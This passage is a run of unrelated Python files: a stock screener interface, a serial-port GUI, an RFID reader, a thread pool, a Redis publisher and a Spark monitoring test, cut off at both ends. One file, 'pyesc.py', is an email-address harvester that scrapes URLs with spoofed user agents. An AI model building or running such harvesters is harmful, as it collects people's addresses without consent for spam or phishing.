self.task.start() self.show_progress_options() # Build output results += ['\n'] results += [ui.delimeter(f'{direction.title()} {name} Options for {ticker}')] results += ['\n'] results += [str(leg) for leg in self.strategy.legs] results += ['\n'] results += [str(self.strategy.analysis)] if results: for result in results: print(result) def show_valids(self, top: int = -1, verbose: bool = False, ticker: str = '') -> None: if not self.table: ui.print_error('No table specified') elif not self.screen_base: ui.print_error('No screen specified') elif len(self.results_screen) == 0: ui.print_message('No results were located') else: if top <= 0: top = self.screener.task_success results = sorted(self.results_screen, key=lambda r: str(r)) elif top > self.screener.task_success: top = self.screener.task_success results = sorted(self.results_screen, reverse=True, key=lambda r: float(r)) else: results = sorted(self.results_screen, reverse=True, key=lambda r: float(r)) if ticker: ui.print_message(f'Screener Results for {ticker} ({self.screen_base})') else: ui.print_message(f'Screener Results {top} of {self.screener.task_success} ({self.screen_base})') index = 1 for result in results: if ticker: [print(r) for r in result.results if ticker.upper().ljust(6, ' ') == r[:6]] elif verbose: [print(r) for r in result.results if result] elif result: print(f'{index:>3}: {result} ({float(result):.2f})') index += 1 if index > top: break print() def show_ticker_results(self): ticker = ui.input_text('Enter ticker: ').upper() if ticker: for result in self.results_screen: [print(r) for r in result.results if ticker.ljust(6, ' ') == r[:6]] def show_coorelations(self): results = [f'{result[0]:<5}/{result[1]["ticker"]:<5} {result[1]["value"]:.5f}' for result in self.results_corr if result[1]["value"] > COOR_CUTOFF] if results: ui.print_message('Coorelation Results') for result in results: print(result) answer = ui.input_text('\nRun support & resistance analysis on top findings? (y/n): ') if answer.lower() == 'y': self.run_support_resistance(True) else: ui.print_message('No significant coorelations found') def show_progress_screen(self) -> None: while not self.screener.task_error: pass prefix = 'Screening' total = self.screener.task_total ui.progress_bar(self.screener.task_completed, self.screener.task_total, prefix=prefix, reset=True) while self.screener.task_error == 'None': time.sleep(0.20) completed = self.screener.task_completed success = self.screener.task_success ticker = self.screener.task_ticker tasks = len([True for future in self.screener.task_futures if future.running()]) ui.progress_bar(completed, total, prefix=prefix, ticker=ticker, success=success, tasks=tasks) def show_progress_correlate(self): while not self.coorelate.task_error: pass if self.coorelate.task_error == 'None': prefix = 'Correlating' total = self.coorelate.task_total ui.progress_bar(self.coorelate.task_completed, self.coorelate.task_total, success=self.coorelate.task_success, prefix=prefix, reset=True) while self.task.is_alive and self.coorelate.task_error == 'None': time.sleep(0.20) completed = self.coorelate.task_completed success = completed ticker = self.coorelate.task_ticker ui.progress_bar(completed, total, prefix=prefix, ticker=ticker, success=success) def show_progress_analyze(self) -> None: while not self.trend.task_error: pass if self.trend.task_error == 'None': while self.trend.task_error == 'None': time.sleep(0.20) ui.progress_bar(0, 0, prefix='Analyzing', suffix=self.trend.task_message) if self.trend.task_error == 'Hold': pass elif self.trend.task_error == 'Done': ui.print_message(f'{self.trend.task_error}: {self.trend.task_total} lines extracted in {self.trend.task_time:.1f} seconds') else: ui.print_error(f'{self.trend.task_error}: Error extracting lines') else: ui.print_message(f'{self.trend.task_error}') def show_progress_options(self) -> None: while not self.strategy.task_error: pass if self.strategy.task_error == 'None': while self.strategy.task_error == 'None': time.sleep(0.20) ui.progress_bar(0, 0, prefix='Analyzing Options', suffix=self.strategy.task_message) else: ui.print_message(f'{self.strategy.task_error}') if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='Screener') parser.add_argument('-t', '--table', help='Specify a symbol or table', required=False, default='') parser.add_argument('-s', '--screen', help='Specify a screening script', required=False, default='') parser.add_argument('-q', '--quick', help='Run a quick analysis', action='store_true') parser.add_argument('-v', '--verbose', help='Show verbose output', action='store_true') parser.add_argument('-x', '--exit', help='Run the script and quit (only valid with -t and -s) then exit', action='store_true') command = vars(parser.parse_args()) table = '' screen = '' Interface(table=command['table'], screen=command['screen'], quick=command['quick'], exit=command['exit'])
main_gui.py
#! /usr/bin/env python3.7 # -*- coding: utf-8 -*- # Created by kayrlas on August 17, 2019 (https://github.com/kayrlas) # main_gui.py from threading import Thread import time import tkinter as tk import tkinter.ttk as ttk from tkinter import filedialog from serialcompy import SerialCom class Application(ttk.Frame): def __init__(self, master=None): super().__init__(master=master) self.master = master self.pack() self.serialcom = SerialCom(baudrate=9600, timeout=0.1, writemode=True) self.create_wedgets() def create_wedgets(self): self._wedget_statusbar() self._wedget_com() self._wedget_bps() self._wedget_send() self._wedget_txrx() def _wedget_statusbar(self): # StatusBar lf_status = ttk.LabelFrame(self.master, text="Status Bar") lf_status.pack(expand=False, side="top") self.la_status = ttk.Label( master=lf_status, width=62, text="No Connection", background="lightgray") self.la_status.pack(expand=False, side="left") def _wedget_com(self): # COM list pulldown, Reload button lf_com = ttk.LabelFrame(self.master, text="COM") lf_com.pack(expand=False, side="top") self.cb_com = ttk.Combobox( master=lf_com, state="readonly", values=self.serialcom.find_comports(), width=46) self.cb_com.current(0) self.cb_com.pack(expand=False, side="left") self.btn_reload = ttk.Button( master=lf_com, text="Reload", command=self.reload_com_btn) self.btn_reload.pack(expand=False, side="left") def _wedget_bps(self): # Baudrate list pulldown, Open button, Close button lf_bps = ttk.LabelFrame(self.master, text="Baudrate (bps)") lf_bps.pack(expand=False, side="top") self.en_bps = ttk.Entry( master=lf_bps, width=36) self.en_bps.pack(expand=False, side="left") self.btn_open = ttk.Button( master=lf_bps, text="Open", command=self.open_com_btn) self.btn_open.pack(expand=False, side="left") self.btn_close = ttk.Button( master=lf_bps, text="Close", command=self.close_com_btn, state="disable") self.btn_close.pack(expand=False, side="left") def _wedget_send(self): # String entry lf_send = ttk.LabelFrame(self.master, text="Text") lf_send.pack(expand=False, side="top") self.en_send = ttk.Entry( master=lf_send, width=49, state="disable") self.en_send.pack(expand=False, side="left") self.btn_send = ttk.Button( master=lf_send, text="Send", command=self.send_text_btn, state="disable") self.btn_send.pack(expand=False, side="left") def _wedget_txrx(self): # TX RX pw_txrx = ttk.PanedWindow(self.master, orient="horizontal") pw_txrx.pack(expand=False, side="top") ## TX lf_tx = ttk.LabelFrame(pw_txrx, text="TX") lf_tx.pack(expand=False, side="left") self.lb_tx = tk.Listbox( master=lf_tx, height=20, width=30, state="disable") self.lb_tx.pack(expand=False) self.btn_txexp = ttk.Button( master=lf_tx, text="TX Export", command=self.exp_tx_btn, state="disable") self.btn_txexp.pack(expand=False, side="right") ## RX lf_rx = ttk.LabelFrame(pw_txrx, text="RX") lf_rx.pack(expand=False, side="right") self.lb_rx = tk.Listbox( lf_rx, height=20, width=30, state="disable") self.lb_rx.pack(expand=False) self.btn_rxexp = ttk.Button( lf_rx, text="RX Export", command=self.exp_rx_btn, state="disable") self.btn_rxexp.pack(expand=False, side="right") def reload_com_btn(self): self.cb_com.config(values=self.serialcom.find_comports()) def open_com_btn(self): _device = self.serialcom.devices[self.cb_com.current()].device _baudrate = self.en_bps.get() if not self.serialcom.register_comport(device=_device): print("Cannot specify the comport. Please try again.") elif _baudrate.isdecimal() or _baudrate is "": if _baudrate.isdecimal(): self.serialcom.serial.baudrate = int(_baudrate) self.serialcom.serial.open() self.la_status.config(text="Opening", background="lightgreen") self.en_send.config(state="normal") self.btn_send.config(state="normal") self.btn_close.config(state="normal") self.lb_rx.config(state="normal") self.btn_rxexp.config(state="normal") self.cb_com.config(state="disable") self.btn_reload.config(state="disable") self.en_bps.config(state="disable") self.btn_open.config(state="disable") if self.serialcom.writemode: self.lb_tx.config(state="normal") self.btn_txexp.config(state="normal") self._start_serialread() else: print("Text in the baudrate entry is not a number.") def _start_serialread(self): self._th_sread = Thread(target=self._serial_read) self._th_sread.start() def _serial_read(self): while self.serialcom.serial.is_open: try: _recv_data = self.serialcom.serial.readline() except (TypeError, AttributeError): print("Comport disconnected while reading") else: if _recv_data != b'': self.lb_rx.insert(tk.END, _recv_data.strip().decode("utf-8")) time.sleep(1) def close_com_btn(self): self.serialcom.close_comport() self._th_sread.join() self.cb_com.config(state="readonly") self.btn_reload.config(state="normal") self.en_bps.config(state="normal") self.btn_open.config(state="normal") self.la_status.config(text="Disconnected", background="lightgray") self.en_send.config(state="disable") self.btn_send.config(state="disable") self.btn_close.config(state="disable") self.lb_rx.config(state="disable") self.btn_rxexp.config(state="disable") if self.serialcom.writemode: self.lb_tx.config(state="disable") self.btn_txexp.config(state="disable") def send_text_btn(self): _send_data = self.en_send.get() self.serialcom.serial.write(_send_data.encode("utf-8")) self.lb_tx.insert(tk.END, _send_data) self.en_send.delete(0, tk.END) def exp_tx_btn(self): _fname = filedialog.asksaveasfilename( initialdir="/", title="Save as", filetypes=[("text file", "*.txt"), ("all files", "*.*")]) with open(_fname, 'w') as f: for i in range(self.lb_tx.size()): f.write(str(self.lb_tx.get(i)) + "\n") def exp_rx_btn(self): _fname = filedialog.asksaveasfilename( initialdir="/", title="Save as", filetypes=[("text file", "*.txt"), ("all files", "*.*")]) with open(_fname, 'w') as f: for i in range(self.lb_rx.size()): f.write(str(self.lb_rx.get(i)) + "\n") if __name__ == "__main__": root = tk.Tk() root.title("SerialComPython") Application(master=root) root.mainloop()
rfid.py
import sys import evdev import logging import threading def print_callback ( id ) : logging.info( id ) class RfidReader : # set to true when the reader thread starts; if set to false, the reader will stop running = False # the thread that is reading characters from the RFID reader thread = None # the callback that is called, when an ID has been read callback = None # stop the reader and wait until it is stopped def stop ( self ) : self.running = False if self.thread : self.thread.join() # start the reader # callback will be called with ID as argument, when an ID has been read def start ( self, callback ) : self.thread = threading.Thread( target = self.__loop ) self.running = True self.callback = callback self.thread.start() # wait until the reader has been stopped def join ( self ) : if self.thread : self.thread.join() def __loop ( self ) : try : device = evdev.InputDevice( '/dev/input/event0' ) logging.info( device ) id = '' logging.info( "RFID event loop started" ) while self.running : event = device.read_one() while event != None : if event.type == evdev.ecodes.EV_KEY : key_event = evdev.events.KeyEvent( event ) if key_event.keystate == evdev.events.KeyEvent.key_up : if key_event.keycode == 'KEY_ENTER' : self.callback( id ) id = '' else : id = id + key_event.keycode.split( '_' )[1] event = device.read_one() logging.info( "RFID event loop stopped" ) except KeyboardInterrupt : raise except evdev.EvdevError as e: self.running = False logging.info( "ERROR: could not open RFID reader %s", e.msg ) if __name__ == "__main__" : logging.root.setLevel( logging.INFO ) rfid_reader = RfidReader() rfid_reader.start( print_callback ) rfid_reader.join()
TaskManager.py
""" Python thread pool, see http://code.activestate.com/recipes/577187-python-thread-pool/ Author: Valentin Kuznetsov <vkuznet [AT] gmail [DOT] com> """ # futures from __future__ import division from builtins import range, object from future import standard_library standard_library.install_aliases() # system modules import time import json import hashlib import threading from queue import Queue # WMCore modules from WMCore.MicroService.Tools.Common import getMSLogger from Utils.Utilities import encodeUnicodeToBytes def genkey(query): """ Generate a new key-hash for a given query. We use md5 hash for the query and key is just hex representation of this hash. """ if isinstance(query, dict): record = dict(query) query = json.JSONEncoder(sort_keys=True).encode(record) keyhash = hashlib.md5() query = encodeUnicodeToBytes(query) try: keyhash.update(query) except TypeError: # python3 # this may be avoided if we use encodeUnicodeToBytes(query) above keyhash.update(query.encode('ascii')) return keyhash.hexdigest() def set_thread_name(ident, name): "Set thread name for given identified" for thr in threading.enumerate(): if thr.ident == ident: thr.name = name break class StoppableThread(threading.Thread): """Thread class with a stop() method. The thread itself has to check regularly for the stopped() condition.""" def __init__(self, target, name, args): super(StoppableThread, self).__init__(target=target, name=name, args=args) self._stop_event = threading.Event() def stop(self): "Set event to stop the thread" self._stop_event.set() def stopped(self): "Return stopped status of the thread" return self._stop_event.is_set() def running(self): "Return running status of the thread" return not self._stop_event.is_set() def start_new_thread(name, func, args, unique=False): "Wrapper wroung standard thread.strart_new_thread call" if unique: threads = sorted(threading.enumerate()) for thr in threads: if name == thr.name: return thr # thr = threading.Thread(target=func, name=name, args=args) thr = StoppableThread(target=func, name=name, args=args) thr.daemon = True thr.start() return thr class UidSet(object): "UID holder keeps track of uid frequency" def __init__(self): self.set = {} def add(self, uid): "Add given uid or increment uid occurence in a set" if not uid: return if uid in self.set: self.set[uid] += 1 else: self.set[uid] = 1 def discard(self, uid): "Either discard or downgrade uid occurence in a set" if uid in self.set: self.set[uid] -= 1 if uid in self.set and not self.set[uid]: del self.set[uid] def __contains__(self, uid): "Check if uid present in a set" if uid in self.set: return True return False def get(self, uid): "Get value for given uid" return self.set.get(uid, 0) class Worker(threading.Thread): """Thread executing worker from a given tasks queue""" def __init__(self, name, taskq, pidq, uidq, logger=None): self.logger = getMSLogger(verbose=True, logger=logger) threading.Thread.__init__(self, name=name) self.exit = 0 self.tasks = taskq self.pids = pidq self.uids = uidq self.daemon = True self.start() def force_exit(self): """Force run loop to exit in a hard way""" self.exit = 1 def run(self): """Run thread loop""" while True: if self.exit: return task = self.tasks.get() if task is None: return if self.exit: return evt, pid, func, args, kwargs = task try: func(*args, **kwargs) self.pids.discard(pid) except Exception as exc: self.pids.discard(pid) msg = "func=%s args=%s kwargs=%s" % (func, args, kwargs) self.logger.error('error %s, call %s', str(exc), msg) evt.set() class TaskManager(object): """ Task manager class based on thread module which executes assigned tasks concurently. It uses a pool of thread workers, queue of tasks and pid set to monitor jobs execution. .. doctest:: Use case: mgr = TaskManager() jobs = [] jobs.append(mgr.spawn(func, args)) mgr.joinall(jobs) """ def __init__(self, nworkers=10, name='TaskManager', logger=None): self.logger = getMSLogger(verbose=True, logger=logger) self.name = name self.pids = set() self.uids = UidSet() self.tasks = Queue() self.workers = [Worker(name, self.tasks, self.pids, self.uids, logger) \ for _ in range(0, nworkers)] def status(self): "Return status of task manager queue" info = {'qsize':self.tasks.qsize(), 'full':self.tasks.full(), 'unfinished':self.tasks.unfinished_tasks, 'nworkers':len(self.workers)} return {self.name: info} def nworkers(self): """Return number of workers associated with this manager""" return len(self.workers) def spawn(self, func, *args, **kwargs): """Spawn new process for given function""" pid = kwargs.get('pid', genkey(str(args) + str(kwargs))) evt = threading.Event() if not pid in self.pids: self.pids.add(pid) task = (evt, pid, func, args, kwargs) self.tasks.put(task) else: # the event was not added to task list, invoke set() # to pass it in wait() call, see joinall evt.set() return evt, pid def remove(self, pid): """Remove pid and associative process from the queue""" self.pids.discard(pid) def is_alive(self, pid): """Check worker queue if given pid of the process is still running""" return pid in self.pids def clear(self, tasks): """ Clear all tasks in a queue. It allows current jobs to run, but will block all new requests till workers event flag is set again """ _ = [t[0].clear() for t in tasks] # each task is return from spawn, i.e. a pair (evt, pid) def joinall(self, tasks): """Join all tasks in a queue and quit""" _ = [t[0].wait() for t in tasks] # each task is return from spawn, i.e. a pair (evt, pid) def quit(self): """Put None task to all workers and let them quit""" _ = [self.tasks.put(None) for _ in self.workers] time.sleep(1) # let workers threads cool-off and quit
pyesc.py
#!/usr/bin/python # Python Email Scrapper # Copyright (c)2020 - RND ICWR red="\033[1;31m" green="\033[0;32m" blue="\033[1;34m" normal_color="\033[0;0m" print(red+""" /$$$$$$$ /$$ /$$ /$$$$$$$$ /$$$$$$ /$$$$$$ | $$__ $$| $$ /$$/| $$_____/ /$$__ $$ /$$__ $$ | $$ \ $$ \ $$ /$$/ | $$ | $$ \__/| $$ \__/ | $$$$$$$/ \ $$$$/ | $$$$$ | $$$$$$ | $$ | $$____/ \ $$/ | $$__/ \____ $$| $$ | $$ | $$ | $$ /$$ \ $$| $$ $$ | $$ | $$ | $$$$$$$$| $$$$$$/| $$$$$$/ |__/ |__/ |________/ \______/ \______/ """+normal_color+blue+""" ==================================================== """+normal_color+green+"""[*] Python Email Scraper - RND ICWR"""+normal_color+blue+""" ==================================================== """+normal_color) from os.path import isfile from re import findall from random import randint from requests import get from sys import argv from time import sleep from threading import Thread from datetime import datetime class scraper(): def __init__(self): self.runner() def save_email(self,email): f=open("result-email-"+str(datetime.now().strftime("%Y-%m-%d"))+".txt","a") f.write(email+"\n") f.close() def user_agent(self): arr=["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)","Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3","Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16","Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1"] return arr[randint(0,len(arr)-1)] def get_email(self,url_site): try: response=get(url=url_site,allow_redirects=True,verify=True,headers={"User-Agent":self.user_agent(),"Accept":"*/*"}) email=findall("[\w\.-]+@[\w\.-]+",response.text) print("["+green+"+"+normal_color+"] "+blue+"Content is obtained from URL"+normal_color+" : "+green+url_site+normal_color) for x in email: self.save_email(x) except: print("["+red+"-"+normal_color+"] "+blue+"Error from URL"+normal_color+" : "+red+url_site+normal_color) def runner(self): if len(argv)>1: if isfile(argv[1]): for x in open(argv[1],"r").read().split("\n"): if x.split("/")[0] == "http:" or x.split("/")[0] == "https:": Thread(target=self.get_email,args=(x,)).start() sleep(0.1) elif argv[1].split("/")[0] == "http:" or argv[1].split("/")[0] == "https:": self.get_email(argv[1]) else: print("["+red+"-"+normal_color+"] Not Valid input") else: print("["+red+"-"+normal_color+"] No URL or List URL input") if __name__ == '__main__': scraper()
redis_stats_sse.py
#!/usr/bin/env python # __BEGIN_LICENSE__ # Copyright (c) 2015, United States Government, as represented by the # Administrator of the National Aeronautics and Space Administration. # All rights reserved. # # The xGDS platform is licensed under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0. # # Unless required by applicable law or agreed to in writing, software distributed # under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR # CONDITIONS OF ANY KIND, either express or implied. See the License for the # specific language governing permissions and limitations under the License. # __END_LICENSE__ import sys import redis import threading from time import sleep from redis_utils import TelemetryQueue import time import pytz import datetime from redis import StrictRedis import json import django django.setup() from django.conf import settings from xgds_core.redisUtil import publishRedisSSE class TelemetryPrinter: def __init__(self, channel_name): self.channel_name = channel_name thread = threading.Thread(target=self.run) thread.daemon = True thread.start() def run(self): print '%s listener started' % self.channel_name tq = TelemetryQueue(self.channel_name) for msg in tq.listen(): print '%s: %s' % (self.channel_name, msg) publishRedisSSE( self.channel_name + "_sse", self.channel_name, json.dumps({ "timestamp": int(time.time()), "message": msg, }, )) if __name__ == '__main__': TelemetryPrinter("redis_stats") while True: sleep(1)
test_spark.py
# (C) Datadog, Inc. 2018 # All rights reserved # Licensed under a 3-clause BSD style license (see LICENSE) import json import os import ssl import threading import time import mock import pytest import requests import urllib3 from six import iteritems from six.moves import BaseHTTPServer from six.moves.urllib.parse import parse_qsl, unquote_plus, urljoin, urlparse from datadog_checks.spark import SparkCheck # IDs YARN_APP_ID = 'application_1459362484344_0011' SPARK_APP_ID = 'app_001' CLUSTER_NAME = 'SparkCluster' APP_NAME = 'PySparkShell' # URLs for cluster managers SPARK_APP_URL = 'http://localhost:4040' SPARK_YARN_URL = 'http://localhost:8088' SPARK_MESOS_URL = 'http://localhost:5050' STANDALONE_URL = 'http://localhost:8080' # SSL test server SSL_SERVER_PORT = 44443 SSL_SERVER_ADDRESS = 'localhost' SSL_SERVER_URL = 'https://{}:{}'.format(SSL_SERVER_ADDRESS, SSL_SERVER_PORT) # URL Paths SPARK_REST_PATH = 'api/v1/applications' YARN_APPS_PATH = 'ws/v1/cluster/apps' MESOS_APPS_PATH = 'frameworks' STANDALONE_APPS_PATH = 'json/' STANDALONE_APP_PATH_HTML = 'app/' # Service Check Names SPARK_SERVICE_CHECK = 'spark.application_master.can_connect' YARN_SERVICE_CHECK = 'spark.resource_manager.can_connect' MESOS_SERVICE_CHECK = 'spark.mesos_master.can_connect' STANDALONE_SERVICE_CHECK = 'spark.standalone_master.can_connect' TEST_USERNAME = 'admin' TEST_PASSWORD = 'password' CUSTOM_TAGS = ['optional:tag1'] def join_url_dir(url, *args): """ Join a URL with multiple directories """ for path in args: url = url.rstrip('/') + '/' url = urljoin(url, path.lstrip('/')) return url class Url(object): """A url object that can be compared with other url orbjects without regard to the vagaries of encoding, escaping, and ordering of parameters in query strings.""" def __init__(self, url): parts = urlparse(url) _query = frozenset(parse_qsl(parts.query)) _path = unquote_plus(parts.path) parts = parts._replace(query=_query, path=_path) self.parts = parts def __eq__(self, other): return self.parts == other.parts def __hash__(self): return hash(self.parts) # YARN Service URLs YARN_APP_URL = Url(urljoin(SPARK_YARN_URL, YARN_APPS_PATH) + '?states=RUNNING&applicationTypes=SPARK') YARN_SPARK_APP_URL = Url(join_url_dir(SPARK_YARN_URL, 'proxy', YARN_APP_ID, SPARK_REST_PATH)) YARN_SPARK_JOB_URL = Url(join_url_dir(SPARK_YARN_URL, 'proxy', YARN_APP_ID, SPARK_REST_PATH, SPARK_APP_ID, 'jobs')) YARN_SPARK_STAGE_URL = Url(join_url_dir(SPARK_YARN_URL, 'proxy', YARN_APP_ID, SPARK_REST_PATH, SPARK_APP_ID, 'stages')) YARN_SPARK_EXECUTOR_URL = Url( join_url_dir(SPARK_YARN_URL, 'proxy', YARN_APP_ID, SPARK_REST_PATH, SPARK_APP_ID, 'executors') ) YARN_SPARK_RDD_URL = Url( join_url_dir(SPARK_YARN_URL, 'proxy', YARN_APP_ID, SPARK_REST_PATH, SPARK_APP_ID, 'storage/rdd') ) YARN_SPARK_STREAMING_STATISTICS_URL = Url( join_url_dir(SPARK_YARN_URL, 'proxy', YARN_APP_ID, SPARK_REST_PATH, SPARK_APP_ID, 'streaming/statistics') ) # Mesos Service URLs MESOS_APP_URL = Url(urljoin(SPARK_MESOS_URL, MESOS_APPS_PATH)) MESOS_SPARK_APP_URL = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH)) MESOS_SPARK_JOB_URL = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, SPARK_APP_ID, 'jobs')) MESOS_SPARK_STAGE_URL = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, SPARK_APP_ID, 'stages')) MESOS_SPARK_EXECUTOR_URL = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, SPARK_APP_ID, 'executors')) MESOS_SPARK_RDD_URL = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, SPARK_APP_ID, 'storage/rdd')) MESOS_SPARK_STREAMING_STATISTICS_URL = Url( join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, SPARK_APP_ID, 'streaming/statistics') ) # Spark Standalone Service URLs STANDALONE_APP_URL = Url(urljoin(STANDALONE_URL, STANDALONE_APPS_PATH)) STANDALONE_APP_HTML_URL = Url(urljoin(STANDALONE_URL, STANDALONE_APP_PATH_HTML) + '?appId=' + SPARK_APP_ID) STANDALONE_SPARK_APP_URL = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH)) STANDALONE_SPARK_JOB_URL = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, SPARK_APP_ID, 'jobs')) STANDALONE_SPARK_STAGE_URL = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, SPARK_APP_ID, 'stages')) STANDALONE_SPARK_EXECUTOR_URL = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, SPARK_APP_ID, 'executors')) STANDALONE_SPARK_RDD_URL = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, SPARK_APP_ID, 'storage/rdd')) STANDALONE_SPARK_STREAMING_STATISTICS_URL = Url( join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, SPARK_APP_ID, 'streaming/statistics') ) STANDALONE_SPARK_JOB_URL_PRE20 = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, APP_NAME, 'jobs')) STANDALONE_SPARK_STAGE_URL_PRE20 = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, APP_NAME, 'stages')) STANDALONE_SPARK_EXECUTOR_URL_PRE20 = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, APP_NAME, 'executors')) STANDALONE_SPARK_RDD_URL_PRE20 = Url(join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, APP_NAME, 'storage/rdd')) STANDALONE_SPARK_STREAMING_STATISTICS_URL_PRE20 = Url( join_url_dir(SPARK_APP_URL, SPARK_REST_PATH, APP_NAME, 'streaming/statistics') ) FIXTURE_DIR = os.path.join(os.path.dirname(__file__), 'fixtures') CERTIFICATE_DIR = os.path.join(os.path.dirname(__file__), 'certificate') def yarn_requests_get_mock(*args, **kwargs): class MockResponse: def __init__(self, json_data, status_code): self.json_data = json_data self.status_code = status_code def json(self): return json.loads(self.json_data) def raise_for_status(self): return True arg_url = Url(args[0]) if arg_url == YARN_APP_URL: with open(os.path.join(FIXTURE_DIR, 'yarn_apps'), 'rb') as f: body = f.read() return MockResponse(body, 200) elif arg_url == YARN_SPARK_APP_URL: with open(os.path.join(FIXTURE_DIR, 'spark_apps'), 'rb') as f: body = f.read() return MockResponse(body, 200) elif arg_url == YARN_SPARK_JOB_URL: with open(os.path.join(FIXTURE_DIR, 'job_metrics'), 'rb') as f: body = f.read() return MockResponse(body, 200) elif arg_url == YARN_SPARK_STAGE_URL: with open(os.path.join(FIXTURE_DIR, 'stage_metrics'), 'rb') as f: body = f.read() return MockResponse(body, 200) elif arg_url == YARN_SPARK_EXECUTOR_URL: with open(os.path.join(FIXTURE_DIR, 'executor_metrics'), 'rb') as f: body = f.read() return MockResponse(body, 200) elif arg_url == YARN_SPARK_RDD_URL: with open(os.path.join(FIXTURE_DIR, 'rdd_metrics'), 'rb') as f: body = f.read() return MockResponse(body, 200) elif arg_url == YARN_SPARK_STREAMING_STATISTICS_URL: with open(os.path.join(FIXTURE_DIR, 'streaming_statistics'), 'rb') as f: body = f.read() return MockResponse(body, 200) def yarn_requests_auth_mock(*args, **kwargs): # Make sure we're passing in authentication assert 'auth' in kwargs, "Error, missing authentication" # Make sure we've got the correct username and password assert kwargs['auth'] == (TEST_USERNAME, TEST_PASSWORD), "Incorrect username or password" # Return mocked request.get(...) return yarn_requests_get_mock(*args, **kwargs) def mesos_requests_get_mock(*args, **kwargs): class MockMesosResponse: def __init__(self, json_data, status_code): self.json_data = json_data self.status_code = status_code def json(self): return json.loads(self.json_data) def raise_for_status(self): return True arg_url = Url(args[0]) if arg_url == MESOS_APP_URL: with open(os.path.join(FIXTURE_DIR, 'mesos_apps'), 'rb') as f: body = f.read() return MockMesosResponse(body, 200) elif arg_url == MESOS_SPARK_APP_URL: with open(os.path.join(FIXTURE_DIR, 'spark_apps'), 'rb') as f: body = f.read() return MockMesosResponse(body, 200) elif arg_url == MESOS_SPARK_JOB_URL: with open(os.path.join(FIXTURE_DIR, 'job_metrics'), 'rb') as f: body = f.read() return MockMesosResponse(body, 200) elif arg_url == MESOS_SPARK_STAGE_URL: with open(os.path.join(FIXTURE_DIR, 'stage_metrics'), 'rb') as f: body = f.read() return MockMesosResponse(body, 200) elif arg_url == MESOS_SPARK_EXECUTOR_URL: with open(os.path.join(FIXTURE_DIR, 'executor_metrics'), 'rb') as f: body = f.read() return MockMesosResponse(body, 200) elif arg_url == MESOS_SPARK_RDD_URL: with open(os.path.join(FIXTURE_DIR, 'rdd_metrics'), 'rb') as f: body = f.read() return MockMesosResponse(body, 200) elif arg_url == MESOS_SPARK_STREAMING_STATISTICS_URL: with open(os.path.join(FIXTURE_DIR, 'streaming_statistics'), 'rb') as f: body = f.read() return MockMesosResponse(body, 200) def standalone_requests_get_mock(*args, **kwargs): class MockStandaloneResponse: text = '' def __init__(self, json_data, status_code): self.json_data = json_data self.status_code = status_code self.text = json_data def json(self): return json.loads(self.json_data) def raise_for_status(self): return True arg_url = Url(args[0]) if arg_url == STANDALONE_APP_URL: with open(os.path.join(FIXTURE_DIR, 'spark_standalone_apps'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_APP_HTML_URL: with open(os.path.join(FIXTURE_DIR, 'spark_standalone_app'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_SPARK_APP_URL: with open(os.path.join(FIXTURE_DIR, 'spark_apps'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_SPARK_JOB_URL: with open(os.path.join(FIXTURE_DIR, 'job_metrics'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_SPARK_STAGE_URL: with open(os.path.join(FIXTURE_DIR, 'stage_metrics'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_SPARK_EXECUTOR_URL: with open(os.path.join(FIXTURE_DIR, 'executor_metrics'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_SPARK_RDD_URL: with open(os.path.join(FIXTURE_DIR, 'rdd_metrics'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_SPARK_STREAMING_STATISTICS_URL: with open(os.path.join(FIXTURE_DIR, 'streaming_statistics'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) def standalone_requests_pre20_get_mock(*args, **kwargs): class MockStandaloneResponse: text = '' def __init__(self, json_data, status_code): self.json_data = json_data self.status_code = status_code self.text = json_data def json(self): return json.loads(self.json_data) def raise_for_status(self): return True arg_url = Url(args[0]) if arg_url == STANDALONE_APP_URL: with open(os.path.join(FIXTURE_DIR, 'spark_standalone_apps'), 'rb') as f: body = f.read() return MockStandaloneResponse(body, 200) elif arg_url == STANDALONE_APP_HTML_URL: with open(os.path.join(FIXTURE_DIR, 'spark_standalone_app'), 'rb') as f: body 